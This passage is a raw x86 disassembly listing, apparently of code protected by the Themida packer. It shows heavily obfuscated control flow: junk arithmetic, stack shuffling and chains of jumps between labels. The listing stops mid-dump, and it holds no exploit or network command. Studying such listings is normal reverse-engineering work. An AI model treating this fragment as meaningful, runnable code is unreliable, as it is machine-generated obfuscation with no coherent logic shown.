mov edx, [esp]
push edi
jmp loc_567539
; ---------------------------------------------------------------------------
loc_569380: ; CODE XREF: Themida_:005722E2j
pop ecx
add eax, 1
sub eax, 84064EFFh
sub ebx, eax
pop eax
add ecx, ebx
mov ebx, [esp]
add esp, 4
xchg ecx, [esp]
mov esp, [esp]
push edx
jmp loc_570FB6
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_567B69
; ---------------------------------------------------------------------------
loc_5693B1: ; CODE XREF: Themida_:00568389j
xor dword ptr [esp], 231C5702h
pop esi
xor esi, 231C5702h
push dword ptr [esp]
pop ebx
add esp, 4
sub esi, 1
push eax
mov eax, 2AA7349Fh
and esi, eax
pop eax
sub esi, 1
dec esi
sub esi, 22820E80h
and eax, esi
push dword ptr [esp]
jmp loc_5704D2
; ---------------------------------------------------------------------------
loc_5693EC: ; CODE XREF: Themida_:005650E9j
mov [esp], edx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_55EEFE
; ---------------------------------------------------------------------------
loc_569407: ; CODE XREF: Themida_:005647C5j
pop ecx
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop ebx
add esp, 4
push esi
push 7974h
mov [esp], edi
jmp loc_55E7B0
; ---------------------------------------------------------------------------
loc_569426: ; CODE XREF: Themida_:00560086j
mov ebx, [esp]
add esp, 4
add ebx, 50EC50ACh
jmp loc_56C60E
; ---------------------------------------------------------------------------
loc_569437: ; CODE XREF: Themida_:0056204Fj
xchg ebp, [esp]
jmp loc_5672F1
; ---------------------------------------------------------------------------
loc_56943F: ; CODE XREF: Themida_:005674ECj
mov esi, 26465B96h
sub esi, 0CC30090Bh
add ecx, 4AF859D0h
sub ecx, esi
push ebp
jmp loc_571299
; ---------------------------------------------------------------------------
loc_569458: ; CODE XREF: Themida_:00561F7Cj
and ebx, 326746B3h
push 4204h
mov [esp], esi
jmp loc_566316
; ---------------------------------------------------------------------------
loc_56946B: ; CODE XREF: Themida_:005678BAj
add esp, 4
jmp loc_56825E
; ---------------------------------------------------------------------------
loc_569476: ; CODE XREF: Themida_:0057148Ej
and eax, edx
mov edx, [esp]
push eax
push esp
pop eax
jmp loc_569650
; ---------------------------------------------------------------------------
loc_569483: ; CODE XREF: Themida_:00568319j
push 1272h
mov [esp], ecx
jmp loc_56C48D
; ---------------------------------------------------------------------------
loc_569490: ; CODE XREF: Themida_:0056799Ej
mov ecx, 72DA10C3h
mov ebx, ecx
mov ecx, [esp]
push edx
jmp loc_56FAB2
; ---------------------------------------------------------------------------
loc_5694A0: ; CODE XREF: Themida_:0056105Bj
push edx
push 45825007h
mov edx, [esp]
add esp, 4
not edx
xor edx, 8A77B94Dh
mov ebx, edx
pop edx
push ecx
mov ecx, 4B112E77h
and ebx, ecx
mov ecx, [esp]
jmp loc_55F2CE
; ---------------------------------------------------------------------------
loc_5694C7: ; CODE XREF: Themida_:0056390Bj
push edx
mov edx, 1D265EAh
shr edx, 3
or edx, 3FCF003Ah
xor edx, 572E2521h
not edx
sub edx, 0C12FA551h
sub esi, edx
pop edx
push ebx
push esi
mov esi, 0
jmp loc_564242
; ---------------------------------------------------------------------------
loc_5694F3: ; CODE XREF: Themida_:00563E25j
add [esp+4], eax
pop eax
mov ebx, [esp]
push edi
mov edi, esp
jmp loc_562EF9
; ---------------------------------------------------------------------------
loc_569503: ; CODE XREF: Themida_:0055F219j
mov edi, 14EF1070h
add ebx, edi
push dword ptr [esp]
pop edi
push eax
mov eax, esp
jmp loc_565F98
; ---------------------------------------------------------------------------
loc_569516: ; CODE XREF: Themida_:00569F84j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], eax
mov ah, 0D9h
push 3C46h
mov [esp], ecx
push edx
push ecx
mov cl, ah
push ebx
mov bl, cl
mov dh, bl
jmp loc_565E72
; ---------------------------------------------------------------------------
loc_569543: ; CODE XREF: Themida_:0055DEA4j
add esp, 4
push esi
mov esi, 614374E0h
neg esi
inc esi
sub esi, 0FFFFFFFFh
add esi, 2FEE090Dh
shl esi, 1
jmp loc_56FF9F
; ---------------------------------------------------------------------------
loc_569562: ; CODE XREF: Themida_:00561477j
mov [esp], ebx
mov ebx, 41F24904h
xor ebx, 7670B55h
dec ebx
xor ebx, 43A0137Eh
add ebx, 2CD368D9h
jmp loc_5681E9
; ---------------------------------------------------------------------------
loc_569582: ; CODE XREF: Themida_:0056E01Ej
mov ecx, 0D92453Bh
push edi
jmp loc_56BF8D
; ---------------------------------------------------------------------------
loc_56958D: ; CODE XREF: Themida_:00567167j
pop edx
pop ecx
mov esi, [esp]
add esp, 4
sub ecx, 6CC31667h
add ecx, ebp
push edi
mov edi, 6CC31667h
jmp loc_57159A
; ---------------------------------------------------------------------------
loc_5695AB: ; CODE XREF: Themida_:00562586j
xchg edx, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_566FB3
; ---------------------------------------------------------------------------
loc_5695BB: ; CODE XREF: Themida_:0056826Bj
add esp, 4
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push esi
mov esi, 1091AB4h
jmp loc_5642C8
; ---------------------------------------------------------------------------
loc_5695DA: ; CODE XREF: Themida_:0056E490j
and ebp, 50317E65h
push eax
push ebp
mov ebp, 9EF5B2Dh
jmp loc_56E911
; ---------------------------------------------------------------------------
loc_5695EC: ; CODE XREF: Themida_:0055EC10j
xor edi, ebx
jmp loc_55ECAA
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_568B13
; ---------------------------------------------------------------------------
loc_5695FC: ; CODE XREF: Themida_:0056FE0Ej
sub esp, 4
mov [esp], ecx
push ebp
jmp loc_56FEDB
; ---------------------------------------------------------------------------
loc_569608: ; CODE XREF: Themida_:0056A672j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_565110
; ---------------------------------------------------------------------------
loc_56961A: ; CODE XREF: Themida_:0056E765j
cmp cl, al
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_569622: ; CODE XREF: Themida_:0055E6C7j
sub esi, 2A43684h
add eax, esi
pop esi
xchg eax, [esp]
jmp loc_5677EA
; ---------------------------------------------------------------------------
loc_569633: ; CODE XREF: Themida_:005626F0j
sub bl, 2Dh
add bl, dh
jmp loc_570DB0
; ---------------------------------------------------------------------------
loc_56963D: ; CODE XREF: Themida_:0056CB11j
xchg eax, [esp]
pop esp
jmp loc_567E16
; ---------------------------------------------------------------------------
loc_569646: ; CODE XREF: Themida_:0055F369j
mov ecx, 0C0F95494h
jmp loc_567204
; ---------------------------------------------------------------------------
loc_569650: ; CODE XREF: Themida_:0056947Ej
sub esp, 4
mov [esp], ebp
jmp loc_568F6B
; ---------------------------------------------------------------------------
loc_56965E: ; CODE XREF: Themida_:0056AF4Aj
pop ebx
add esi, 655422A6h
push ebx
mov ebx, 0DBEA81BDh
sub esi, ebx
pop ebx
sub ebp, esi
jmp loc_56DDB6
; ---------------------------------------------------------------------------
loc_569675: ; CODE XREF: Themida_:0055D349j
add esi, 73159F8h
xor esi, 1CD88419h
sub [esp+4], esi
pop esi
pop ecx
sub esp, 4
mov [esp], ebp
jmp loc_56C4B9
; ---------------------------------------------------------------------------
loc_569695: ; CODE XREF: Themida_:0056E71Bj
mov ah, 0CEh
shl ah, 2
push bx
mov bh, 0ADh
and ah, bh
mov bx, [esp]
jmp loc_57119B
; ---------------------------------------------------------------------------
loc_5696A9: ; CODE XREF: Themida_:0055FCC5j
xchg eax, edi
push edi
not dword ptr [esp]
pop edi
xchg eax, edi
not eax
push edx
push eax
push 4A0A0387h
pop eax
add eax, 717F761Ah
jmp loc_56C6C1
; ---------------------------------------------------------------------------
loc_5696C4: ; CODE XREF: Themida_:0055EDF4j
mov edx, [esp]
add esp, 4
add esp, 4
jmp loc_56A956
; ---------------------------------------------------------------------------
loc_5696D2: ; CODE XREF: Themida_:00570819j
push eax
mov eax, 406F18D8h
xor eax, 8FDC922Bh
sub ebx, eax
pop eax
sub edx, 5D883899h
add edx, ebx
add edx, 5D883899h
pop ebx
xchg edx, [esp]
pop esp
jmp loc_56F7C5
; ---------------------------------------------------------------------------
loc_5696F8: ; CODE XREF: Themida_:00571CADj
shl ebp, 6
sub ebp, 31C30AF1h
jmp loc_567B5C
; ---------------------------------------------------------------------------
loc_569706: ; CODE XREF: Themida_:0056DBE8j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56970B: ; CODE XREF: Themida_:0055F0FFj
mov esi, ebp
mov eax, esi
pop esi
jmp loc_561B48
; ---------------------------------------------------------------------------
loc_569715: ; CODE XREF: Themida_:00560725j
add ecx, 30266CC1h
sub edi, ecx
mov ecx, [esp]
add esp, 4
push 4AD7h
mov [esp], edx
jmp loc_5706B6
; ---------------------------------------------------------------------------
loc_569733: ; CODE XREF: Themida_:0055FA67j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_569738: ; CODE XREF: Themida_:0056109Fj
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_56973D: ; CODE XREF: Themida_:00566C5Ej
inc edi
jmp loc_56B512
; ---------------------------------------------------------------------------
loc_569743: ; CODE XREF: Themida_:00570D10j
shl eax, 2
sub eax, 7046147Eh
add eax, 67A8EF36h
sub ebx, eax
jmp loc_56FE13
; ---------------------------------------------------------------------------
loc_569757: ; CODE XREF: Themida_:0056742Dj
shr ebp, 2
jmp loc_564DED
; ---------------------------------------------------------------------------
loc_56975F: ; CODE XREF: Themida_:005663DBj
sub ebx, 0B134AC22h
sub eax, ebx
pop ebx
sub ebx, 41D616D3h
add ebx, 4F2815F0h
sub ebx, eax
push ecx
jmp loc_572699
; ---------------------------------------------------------------------------
loc_56977C: ; CODE XREF: Themida_:00569079j
pop ebx
sub esi, 5B4216E0h
add esi, 4952E6A2h
sub eax, 70833306h
add eax, esi
push edi
mov edi, 4E883495h
and edi, 762E1E8Bh
inc edi
shr edi, 7
inc edi
xor edi, 0F545E5Dh
jmp loc_57043B
; ---------------------------------------------------------------------------
loc_5697AC: ; CODE XREF: Themida_:0056C249j
xor esi, ebx
pop ebx
mov edx, esi
pop esi
push edx
push 3CF13C85h
jmp loc_5638D9
; ---------------------------------------------------------------------------
loc_5697BD: ; CODE XREF: Themida_:0055DC39j
mov ebp, 40ED6CF4h
jmp loc_570E52
; ---------------------------------------------------------------------------
loc_5697C7: ; CODE XREF: Themida_:0056384Cj
or ebp, edi
pop edi
jmp loc_5683D5
; ---------------------------------------------------------------------------
loc_5697CF: ; CODE XREF: Themida_:005709DEj
pop ebp
and esi, ebx
jmp loc_5641A2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_5697D7: ; CODE XREF: sub_59DB3D-31B46j
mov bh, ch
pop ecx
xor al, bh
mov bx, word ptr [esp+28h+var_28]
sub esp, 4
mov [esp+2Ch+var_2C], eax
push esp
jmp loc_564C9E
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
loc_5697EF: ; CODE XREF: Themida_:005715EDj
push dword ptr [esp]
pop esi
jmp loc_56B106
; ---------------------------------------------------------------------------
loc_5697F8: ; CODE XREF: Themida_:0056A487j
add esp, 4
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
add esp, 4
push eax
push edi
push ebx
push 7823255h
jmp loc_56CB16
; ---------------------------------------------------------------------------
loc_569817: ; CODE XREF: Themida_:0056095Ej
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_568994
; ---------------------------------------------------------------------------
loc_569823: ; CODE XREF: Themida_:00563024j
push eax
pop ebp
push dword ptr [esp]
pop eax
add esp, 4
xor ebx, ebp
mov ebp, [esp]
add esp, 4
push esi
mov esi, 13F94CADh
add ebx, 2492569Dh
jmp loc_568BC1
; ---------------------------------------------------------------------------
loc_569845: ; CODE XREF: Themida_:0056818Ej
xchg edx, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_56CF9F
; ---------------------------------------------------------------------------
loc_569853: ; CODE XREF: Themida_:00565D0Fj
sub ebx, edx
pop edx
add ebx, 100E4ED5h
jmp loc_56D803
; ---------------------------------------------------------------------------
loc_569861: ; CODE XREF: Themida_:005709EEj
mov ebx, [esp]
add esp, 4
sub edx, 41A61E6Fh
add ebp, edx
jmp loc_56F274
; ---------------------------------------------------------------------------
loc_569874: ; CODE XREF: Themida_:0056863Fj
mov ebx, [esp]
jmp loc_56F504
; ---------------------------------------------------------------------------
loc_56987C: ; CODE XREF: Themida_:0056A2BBj
pop esp
jmp loc_55D898
; ---------------------------------------------------------------------------
loc_569882: ; CODE XREF: Themida_:0056D99Dj
sub dx, 110Ah
add dx, 6283h
sub dx, di
sub dx, 6283h
push ebx
push esi
mov si, 5180h
jmp loc_572430
; ---------------------------------------------------------------------------
loc_56989F: ; CODE XREF: Themida_:0055DC1Aj
sub ebx, 57DF463Eh
pop eax
jmp loc_569C1C
; ---------------------------------------------------------------------------
loc_5698AB: ; CODE XREF: Themida_:0055E7F6j
add edi, 4
jmp loc_5639F6
; ---------------------------------------------------------------------------
loc_5698B6: ; CODE XREF: Themida_:005690EBj
mov [esp], eax
jmp loc_567ED1
; ---------------------------------------------------------------------------
loc_5698BE: ; CODE XREF: Themida_:0056CE4Fj
pop edi
shr ecx, 1
jmp loc_566599
; ---------------------------------------------------------------------------
loc_5698C6: ; CODE XREF: Themida_:0055EDB0j
sub edi, esi
pop esi
xchg edi, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop edi
jmp loc_561B24
; ---------------------------------------------------------------------------
loc_5698DD: ; CODE XREF: Themida_:0056020Ej
push eax
jmp loc_55E525
; ---------------------------------------------------------------------------
loc_5698E3: ; CODE XREF: Themida_:00561DB8j
sub edi, esi
jmp loc_570E1F
; ---------------------------------------------------------------------------
loc_5698EA: ; CODE XREF: Themida_:0055FDA6j
push ebx
mov ebx, 3B046E92h
jmp loc_56E366
; ---------------------------------------------------------------------------
loc_5698F5: ; CODE XREF: Themida_:00560AA4j
mov edi, esi
pop esi
sub edi, 7D6C5752h
add edi, eax
push edx
mov edx, 7D6C5752h
add edi, edx
pop edx
push dword ptr [esp]
push dword ptr [esp]
pop eax
jmp loc_56A615
; ---------------------------------------------------------------------------
loc_569915: ; CODE XREF: Themida_:0055D6CDj
push 444Ch
mov [esp], ebp
push 4580h
jmp loc_56AC1A
; ---------------------------------------------------------------------------
loc_569927: ; CODE XREF: Themida_:00561967j
shr bl, 7
dec bl
and bl, 1Ah
xor bl, 1Ah
xor dh, bl
jmp loc_56D533
; ---------------------------------------------------------------------------
loc_569939: ; CODE XREF: Themida_:00564587j
mov edx, 347B121Dh
mov ebp, 2C974F40h
xor ebp, edx
jmp loc_568009
; ---------------------------------------------------------------------------
loc_56994A: ; CODE XREF: Themida_:00561518j
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
add ebp, 4
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
add ecx, 4
push 1BF7h
mov [esp], ebx
mov ebx, 4
jmp loc_56DC22
; ---------------------------------------------------------------------------
loc_569992: ; CODE XREF: Themida_:00568F23j
mov ecx, 2FF84503h
jmp loc_56B086
; ---------------------------------------------------------------------------
loc_56999C: ; CODE XREF: Themida_:0056C17Fj
pop eax
add al, 29h
jmp loc_56C1FA
; ---------------------------------------------------------------------------
loc_5699A4: ; CODE XREF: Themida_:0055FD48j
pop ebp
xor edx, ecx
mov ecx, [esp]
add esp, 4
jmp loc_567D84
; ---------------------------------------------------------------------------
loc_5699B5: ; CODE XREF: Themida_:00561D83j
sub eax, edx
pop edx
add edi, eax
pop eax
add edi, 795264E9h
sub ebx, edi
mov edi, [esp]
add esp, 4
xor ebx, 2AED6CF4h
mov esi, ebx
pop ebx
and esi, 58811C28h
add esi, 13D63C25h
jmp loc_569F89
; ---------------------------------------------------------------------------
loc_5699E3: ; CODE XREF: Themida_:00568DAEj
sub dword ptr [esp], 57294716h
mov eax, [esp]
push 5952h
mov [esp], edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_571CC3
; ---------------------------------------------------------------------------
loc_569A0E: ; CODE XREF: Themida_:00565005j
pop edx
push ecx
jmp loc_560CD4
; ---------------------------------------------------------------------------
loc_569A15: ; CODE XREF: Themida_:0056DB6Bj
mov edi, 7BD4EBFh
add edx, edi
mov edi, [esp]
jmp loc_56016C
; ---------------------------------------------------------------------------
loc_569A24: ; CODE XREF: Themida_:00563711j
sub edx, 33384Dh
sub esi, edx
mov edx, [esp]
add esp, 4
neg esi
push edi
mov edi, 0
add edi, 62E878BEh
sub edi, 0AAC1969h
sub edi, esi
push ebp
mov ebp, 0AAC1969h
add edi, ebp
pop ebp
jmp loc_57299B
; ---------------------------------------------------------------------------
loc_569A56: ; CODE XREF: Themida_:0056252Bj
sub esp, 4
mov [esp], ebx
mov ebx, 4
add edx, 7A1C0FEDh
sub edx, 712B5F69h
jmp loc_5678A5
; ---------------------------------------------------------------------------
loc_569A72: ; CODE XREF: Themida_:0056D172j
mov edi, 6A9F12CAh
add [esp+8], edi
jmp loc_56CD49
; ---------------------------------------------------------------------------
loc_569A80: ; CODE XREF: Themida_:00571DF5j
push ecx
mov ecx, 572A4C08h
dec ecx
push ebp
mov ebp, esp
jmp loc_55EAFE
; ---------------------------------------------------------------------------
loc_569A8F: ; CODE XREF: Themida_:00566AADj
xchg esi, [esp]
pop esp
mov [esp], edx
push 3AC9h
mov [esp], esp
add dword ptr [esp], 4
pop edx
sub esp, 4
mov [esp], ebp
push esi
push eax
jmp loc_56ED3A
; ---------------------------------------------------------------------------
loc_569AB0: ; CODE XREF: Themida_:005631B1j
sub esi, 639644A5h
add edx, esi
pop esi
push ebx
jmp loc_5617D9
; ---------------------------------------------------------------------------
loc_569ABF: ; CODE XREF: Themida_:00568326j
pop edi
push edx
mov edx, eax
jmp loc_56EA25
; ---------------------------------------------------------------------------
lodsb
add al, 0B2h
sub esp, 4
mov [esp], edx
mov dh, 9
push ecx
mov ch, 84h
sub ch, 0D1h
jmp loc_570B85
; ---------------------------------------------------------------------------
loc_569ADE: ; CODE XREF: Themida_:00570AA4j
mov [esp], eax
push ecx
mov ecx, 30A247B7h
mov eax, 6F3B17ACh
xor eax, ecx
pop ecx
add edi, eax
pop eax
add edi, ebp
sub edi, 5F99501Bh
mov ebp, [esp]
jmp loc_56676F
; ---------------------------------------------------------------------------
loc_569B02: ; CODE XREF: Themida_:00564277j
sub ebp, edx
jmp loc_566398
; ---------------------------------------------------------------------------
loc_569B09: ; CODE XREF: Themida_:00565A0Cj
pop eax
add dl, cl
jmp loc_562054
; ---------------------------------------------------------------------------
loc_569B11: ; CODE XREF: Themida_:0056AC8Bj
sub edx, 278F7C4Ah
mov edi, edx
pop edx
jmp loc_561C27
; ---------------------------------------------------------------------------
loc_569B1F: ; CODE XREF: Themida_:005635F9j
mov [esp], edx
mov edx, 4BE02824h
neg edx
push ecx
jmp loc_5607DA
; ---------------------------------------------------------------------------
loc_569B2F: ; CODE XREF: Themida_:00563492j
pop ebx
and eax, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
jmp loc_5605A0
; ---------------------------------------------------------------------------
loc_569B46: ; CODE XREF: Themida_:0055D7C3j
push dword ptr [esp]
pop eax
jmp loc_55ED1F
; ---------------------------------------------------------------------------
loc_569B4F: ; CODE XREF: Themida_:00566A6Cj
shr dl, 7
shr dl, 7
xor dl, 0Ch
or al, dl
mov edx, [esp]
add esp, 4
add al, 56h
add bl, al
pop eax
add bl, 0BEh
add bl, dl
sub bl, 0BEh
sub bl, 33h
mov edx, [esp]
add esp, 4
movzx eax, al
lea eax, [edi+eax*4]
push 2B38h
mov [esp], eax
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_569B8C: ; CODE XREF: Themida_:00571C6Aj
push esi
jmp loc_560261
; ---------------------------------------------------------------------------
loc_569B92: ; CODE XREF: Themida_:00566F7Cj
add edi, ecx
pop ecx
jmp loc_56557F
; ---------------------------------------------------------------------------
loc_569B9A: ; CODE XREF: Themida_:00570107j
pop esi
add esp, 4
add esi, 4
add esi, 2
sub esp, 4
jmp loc_570992
; ---------------------------------------------------------------------------
loc_569BB2: ; CODE XREF: Themida_:0056A1DAj
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_571E5A
; ---------------------------------------------------------------------------
loc_569BC6: ; CODE XREF: Themida_:0055E496j
pop eax
xor ebp, edi
mov edi, [esp]
sub esp, 4
mov [esp], ebp
push esp
pop ebp
push edi
mov edi, 4
jmp loc_56F78C
; ---------------------------------------------------------------------------
loc_569BE2: ; CODE XREF: Themida_:00565165j
pop eax
xor esi, 0F52D8BFDh
jmp loc_560AD0
; ---------------------------------------------------------------------------
loc_569BEE: ; CODE XREF: Themida_:0056B47Cj
mov edi, [esp]
add esp, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_55F3D7
; ---------------------------------------------------------------------------
loc_569C06: ; CODE XREF: Themida_:0055D8BAj
mov eax, 7432894h
inc eax
xor eax, 7432891h
add ebx, eax
pop eax
add ebx, 4
jmp loc_572984
; ---------------------------------------------------------------------------
loc_569C1C: ; CODE XREF: Themida_:005698A6j
shr ebx, 6
jmp loc_56D4B8
; ---------------------------------------------------------------------------
loc_569C24: ; CODE XREF: Themida_:0056B069j
push 64E4h
push 722Dh
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_565ABB
; ---------------------------------------------------------------------------
loc_569C3E: ; CODE XREF: Themida_:0055DE5Dj
mov ebx, esp
sub esp, 4
mov [esp], esi
mov esi, 7CEB0A18h
shl esi, 6
sub esi, 3AC285FCh
add ebx, esi
pop esi
sub ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_56E072
; ---------------------------------------------------------------------------
loc_569C68: ; CODE XREF: Themida_:0055E467j
push 43B2h
mov [esp], esi
push ebx
push 1A8516EBh
pop ebx
add ebx, 0E57AE917h
push ebx
sub dword ptr [esp], 5FBE182Eh
jmp loc_567348
; ---------------------------------------------------------------------------
loc_569C8A: ; CODE XREF: Themida_:00564EC8j
push esp
pop ebp
add ebp, 4
push ebx
mov ebx, 4
add ebp, 7DBD3F7Ch
add ebp, ebx
jmp loc_562AB4
; ---------------------------------------------------------------------------
loc_569CA5: ; CODE XREF: Themida_:005624C8j
inc eax
add eax, 669DA81Ch
dec eax
and eax, 70626CCCh
or eax, 54547B6Ch
push edx
jmp loc_56FF55
; ---------------------------------------------------------------------------
loc_569CBC: ; CODE XREF: Themida_:0056D8C2j
add al, 48h
jmp loc_565A55
; ---------------------------------------------------------------------------
lodsd
sub eax, 662A4166h
sub eax, 6C7D00F4h
add eax, ebx
add eax, 6C7D00F4h
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_5644A5
; ---------------------------------------------------------------------------
loc_569CE8: ; CODE XREF: Themida_:0055E48Fj
mov bl, 43h
jmp loc_5727C5
; ---------------------------------------------------------------------------
loc_569CEF: ; CODE XREF: Themida_:005644A0j
mov edi, 478A389Ah
and edi, 7D511686h
shl edi, 1
and edi, 4DCA6486h
jmp loc_55EF7D
; ---------------------------------------------------------------------------
loc_569D07: ; CODE XREF: Themida_:0056A304j
mov ebp, [esp]
add esp, 4
pop ebx
push edi
push dword ptr [esp+4]
jmp loc_56DA1E
; ---------------------------------------------------------------------------
loc_569D18: ; CODE XREF: Themida_:0055D52Fj
mov edx, ebp
pop ebp
jmp loc_56D225
; ---------------------------------------------------------------------------
loc_569D20: ; CODE XREF: Themida_:00560C32j
pop esi
xor edx, ecx
mov ecx, [esp]
add esp, 4
mov esi, edx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_570CA4
; ---------------------------------------------------------------------------
loc_569D3D: ; CODE XREF: Themida_:00563F81j
neg ebp
inc ebp
jmp loc_564405
; ---------------------------------------------------------------------------
loc_569D45: ; CODE XREF: Themida_:0056621Fj
push edi
jmp loc_56FD0F
; ---------------------------------------------------------------------------
loc_569D4B: ; CODE XREF: Themida_:00565DBEj
add esp, 4
jmp loc_571D99
; ---------------------------------------------------------------------------
loc_569D53: ; CODE XREF: Themida_:00561A52j
push edx
pop esi
pop edx
sub edi, esi
pop esi
sub esp, 4
mov [esp], edi
jmp loc_564F4A
; ---------------------------------------------------------------------------
loc_569D64: ; CODE XREF: Themida_:00570306j
push edi
mov edi, 66381CCAh
jmp loc_570352
; ---------------------------------------------------------------------------
loc_569D6F: ; CODE XREF: Themida_:00566AA5j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
jmp loc_56EBBC
; ---------------------------------------------------------------------------
loc_569D82: ; CODE XREF: Themida_:0056DE83j
push esi
jmp loc_56A76B
; ---------------------------------------------------------------------------
loc_569D88: ; CODE XREF: Themida_:0056653Aj
push ebx
mov ebx, 4
push 158Ch
mov [esp], ebp
jmp loc_5656C7
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
dw 8B66h
dd 8356240Ch, 37E904ECh
db 55h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_569DAF: ; CODE XREF: Themida_:00563D7Dj
add edi, 4
xchg edi, [esp]
jmp loc_566CF1
; ---------------------------------------------------------------------------
loc_569DBD: ; CODE XREF: Themida_:0056DCE6j
pop edx
mov eax, [esp]
add esp, 4
push ecx
mov cl, 80h
sub bl, cl
pop ecx
push edx
mov dh, 23h
xor dh, 88h
push eax
mov ah, 30h
jmp loc_565B7D
; ---------------------------------------------------------------------------
loc_569DDB: ; CODE XREF: Themida_:00567909j
push ebp
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
push ebx
push edx
push 24D25B50h
pop edx
shl edx, 8
neg edx
and edx, 0E4371DCh
xor edx, 0C003004h
mov ebx, edx
jmp loc_5729FE
; ---------------------------------------------------------------------------
loc_569E10: ; CODE XREF: Themida_:0055D980j
push edx
mov edx, 352A7156h
shr edx, 3
neg edx
add edx, 7CB65B4Ch
sub edx, 198E7AC6h
and edx, 7D4A7F56h
push ebx
mov ebx, 2FBC6792h
sub ebx, 1FAC540Dh
or edx, ebx
pop ebx
jmp loc_566601
; ---------------------------------------------------------------------------
loc_569E41: ; CODE XREF: Themida_:0056A5FCj
push eax
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop eax
jmp loc_5641A8
; ---------------------------------------------------------------------------
loc_569E54: ; CODE XREF: Themida_:005623C8j
add ebx, ebp
add ebx, 40C5566Ch
pop ebp
push ebx
push dword ptr [esp+4]
jmp loc_56A65F
; ---------------------------------------------------------------------------
loc_569E67: ; CODE XREF: Themida_:00572753j
sub esp, 4
mov [esp], eax
push 5E215AAh
jmp loc_56E720
; ---------------------------------------------------------------------------
loc_569E7A: ; CODE XREF: Themida_:00568659j
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_569E7F: ; CODE XREF: Themida_:0056D3D0j
pop ecx
pop eax
push 40CCh
mov [esp], ebx
mov ebx, 49C07BD2h
or ebx, 3D797695h
push edi
push 8206802Dh
pop edi
jmp loc_564ECD
; ---------------------------------------------------------------------------
loc_569EA0: ; CODE XREF: Themida_:005689E6j
mov eax, 73B2CC4h
not eax
not eax
shl eax, 7
neg eax
xor eax, 74314A87h
add eax, 753139F3h
sub esi, eax
jmp loc_566929
; ---------------------------------------------------------------------------
loc_569EBF: ; CODE XREF: Themida_:0057192Bj
add al, bl
push 2903h
mov [esp], ebx
mov bl, 6Eh
push ebx
not byte ptr [esp]
pop ebx
not bl
inc bl
xor bl, 4Ch
sub al, bl
mov ebx, [esp]
jmp loc_568674
; ---------------------------------------------------------------------------
loc_569EE1: ; CODE XREF: Themida_:005707AFj
pop edi
pop ecx
xchg ebp, [esp]
mov esp, [esp]
and [esp], al
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_569EF2: ; CODE XREF: Themida_:0056E424j
mov ebp, esp
push edi
mov edi, 4
add ebp, edi
pop edi
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
sub esp, 4
mov [esp], esp
jmp loc_56DE1F
; ---------------------------------------------------------------------------
loc_569F15: ; CODE XREF: Themida_:005725C5j
inc esi
shr esi, 2
jmp loc_55E67F
; ---------------------------------------------------------------------------
loc_569F1E: ; CODE XREF: Themida_:005638D4j
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
pop dword ptr [esp]
mov esp, [esp]
and eax, esi
mov esi, [esp]
add esp, 4
shr eax, 12h
jmp loc_562706
; ---------------------------------------------------------------------------
loc_569F43: ; CODE XREF: Themida_:0056CD14j
push eax
mov eax, 4
add ecx, eax
pop eax
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
jmp loc_560959
; ---------------------------------------------------------------------------
loc_569F5A: ; CODE XREF: Themida_:0055F25Dj
add edx, ecx
pop ecx
add edx, 4
xchg edx, [esp]
jmp loc_564EC6
; ---------------------------------------------------------------------------
loc_569F6B: ; CODE XREF: Themida_:0056BECCj
mov edi, 34651826h
xor edi, ebx
pop ebx
add ebp, edi
pop edi
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], ebx
push eax
jmp loc_569516
; ---------------------------------------------------------------------------
loc_569F89: ; CODE XREF: Themida_:005699DEj
xor eax, esi
mov esi, [esp]
add esp, 4
push ebp
mov ebp, 2B39BFECh
push esi
push ebx
mov ebx, 7AAE3876h
jmp loc_56F72B
; ---------------------------------------------------------------------------
loc_569FA3: ; CODE XREF: Themida_:005660E9j
